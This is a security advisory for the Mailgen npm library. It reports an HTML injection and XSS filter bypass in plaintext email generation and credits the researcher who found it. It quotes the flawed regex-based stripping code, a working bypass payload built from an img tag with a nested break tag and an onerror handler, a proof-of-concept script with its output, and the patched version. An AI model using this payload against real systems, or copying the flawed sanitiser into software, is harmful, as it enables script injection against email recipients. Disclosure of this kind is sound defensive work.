HTML Injection and XSS Filter Bypass in Plaintext Emails

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email); method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Vulnerability Analysis

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }
   
    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.

A valid payload is: <img<br> src=xyz onerror=alert(1)>.

Proof of Concept

var Mailgen = require('mailgen');

var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        name: 'Mailgen',
        link: 'https://mailgen.js/'
    }
});

var email = {
    body: {
        name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66',
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

// Generate the plaintext version of the e-mail
var emailText = mailGenerator.generatePlaintext(email);

// Optionally, preview the generated plaintext e-mail
require('fs').writeFileSync('emailText.txt', emailText, 'utf8');

Resulting output file (emailText.txt):

Hi John <img
src=xyz onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Mitigation

The vulnerability has been patched in commit 741a019 and released to npm in version 2.0.30.

Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.